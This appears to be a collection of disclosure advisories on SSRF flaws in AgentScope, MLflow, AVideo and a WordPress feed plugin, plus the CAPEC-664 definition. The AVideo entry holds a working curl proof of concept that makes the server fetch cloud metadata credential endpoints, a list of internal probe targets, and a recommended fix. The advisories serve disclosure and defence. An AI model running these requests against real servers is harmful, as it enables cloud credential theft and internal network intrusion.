Summary
AgentScope vulnerable to Server-Side Request Forgery
Details

A vulnerability was identified in modelscope agentscope up to 1.0.18. Affected by this issue is the function _parse_url/prepare_image/openai_audio_to_text of the file src/agentscope/tool/_multi_modality/_openai_tools.py of the component Cloud Metadata Endpoint. Such manipulation of the argument image_url/audio_file_url leads to server-side request forgery. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Summary
MLflow Has a Server-Side Request Forgery (SSRF) Vulnerability
Details

A Server-Side Request Forgery (SSRF) vulnerability exists in MLflow versions prior to 3.9.0. The _create_webhook() function in mlflow/server/handlers.py accepts a user-controlled url parameter without validation, and the _send_webhook_request() function in mlflow/webhooks/delivery.py sends HTTP POST requests to this attacker-controlled URL. This allows an authenticated attacker to force the MLflow backend to send HTTP requests to internal services, cloud metadata endpoints, or arbitrary external servers. The lack of input sanitization, URL scheme filtering, or allowlist validation on the webhook URL enables exploitation, potentially leading to cloud credential theft, internal network access, and data exfiltration.

Summary
AVideo Affected by SSRF in BulkEmbed Thumbnail Fetch Allows Reading Internal Network Resources
Details

Summary

The BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.

Details

When saving bulk-embedded videos, user-supplied thumbnail URLs from $_POST['itemsToSave'][x]['thumbs'] flow directly into url_get_contents() with no SSRF validation:

plugin/BulkEmbed/save.json.php:68-105

foreach ($_POST['itemsToSave'] as $value) {
    foreach ($value as $key => $value2) {
        $value[$key] = xss_esc($value2);  // HTML entity encoding — irrelevant for SSRF
    }
    // ...
    $poster = Video::getPathToFile("{$paths['filename']}.jpg");
    $thumbs = $value['thumbs'];              // ← attacker-controlled URL
    if (!empty($thumbs)) {
        $contentThumbs = url_get_contents($thumbs);  // ← fetched without SSRF check
        if (!empty($contentThumbs)) {
            make_path($poster);
            $bytes = file_put_contents($poster, $contentThumbs);  // ← response saved to disk
        }
    }
    // ...
    $videos->setStatus('a');  // ← video set to active, thumbnail publicly accessible

The url_get_contents() function internally calls isValidURLOrPath() which only validates URL format (scheme, host presence) — it does not block requests to private IPs, localhost, or cloud metadata endpoints.

All other URL-fetching endpoints are protected. The isSSRFSafeURL() function is called in: - plugin/Scheduler/Scheduler.php - plugin/LiveLinks/proxy.php (two call sites) - plugin/AI/receiveAsync.json.php - objects/aVideoEncoder.json.php - objects/aVideoEncoderReceiveImage.json.php

BulkEmbed is the only URL-fetching endpoint that was not hardened.

This is a full-read SSRF, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.

PoC

Prerequisites: Authenticated session with BulkEmbed permission. The onlyAdminCanBulkEmbed option defaults to true (line 41 of BulkEmbed.php), but is commonly disabled for multi-user platforms.

Step 1: Authenticate and obtain session cookie

COOKIE=$(curl -s -c - "http://avideo.local/user" \
  -d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}')

Step 2: Send BulkEmbed save request with internal URL as thumbnail

curl -s -b "PHPSESSID=$COOKIE" \
  "http://avideo.local/plugin/BulkEmbed/save.json.php" \
  -d "itemsToSave[0][title]=SSRF+Test" \
  -d "itemsToSave[0][description]=test" \
  -d "itemsToSave[0][duration]=PT1M" \
  -d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
  -d "itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "itemsToSave[0][date]="

Expected response:

{"error":false,"msg":[{"video":{...},"value":{...},"videos_id":123}],"playListId":0}

Step 3: Retrieve the SSRF response from the saved thumbnail

# Extract the filename from the response, then fetch the poster image
curl -s "http://avideo.local/videos/{filename}.jpg"

The content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.

Cloud metadata example targets: - http://169.254.169.254/latest/meta-data/iam/security-credentials/ — AWS IAM role names - http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} — temporary AWS credentials - http://metadata.google.internal/computeMetadata/v1/ — GCP metadata (requires header, may not work) - http://169.254.169.254/metadata/instance?api-version=2021-02-01 — Azure instance metadata

Internal network scanning: - http://10.0.0.1:8080/ — probe internal services - http://localhost:3306/ — probe local database ports

Impact

  • Cloud credential theft: On AWS/GCP/Azure-hosted instances, an attacker can retrieve cloud IAM credentials from the metadata service, potentially gaining access to cloud infrastructure (S3 buckets, databases, other services).
  • Internal network reconnaissance: Attacker can map internal network topology by probing private IP ranges and observing which requests return content vs. timeout.
  • Internal service data exfiltration: Any HTTP-accessible internal service (admin panels, monitoring dashboards, databases with HTTP interfaces) can have its responses exfiltrated through the thumbnail mechanism.
  • Scope change: The attack crosses security boundaries — from the web application into the internal network/cloud infrastructure, which is a different trust zone.

Recommended Fix

Add isSSRFSafeURL() validation before the url_get_contents() call in plugin/BulkEmbed/save.json.php, consistent with all other URL-fetching endpoints:

    $thumbs = $value['thumbs'];
    if (!empty($thumbs)) {
        if (!isSSRFSafeURL($thumbs)) {
            _error_log("BulkEmbed: SSRF protection blocked thumbnail URL: " . $thumbs);
            continue;
        }
        $contentThumbs = url_get_contents($thumbs);
        if (!empty($contentThumbs)) {
            make_path($poster);
            $bytes = file_put_contents($poster, $contentThumbs);
            _error_log("thumbs={$thumbs} poster=$poster bytes=$bytes strlen=" . strlen($contentThumbs));
        } else {
            _error_log("ERROR thumbs={$thumbs} poster=$poster");
        }
    }

VLAI
Details

The RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.1.0 via the 'feedzy_sanitize_feeds' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query information from internal services.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.
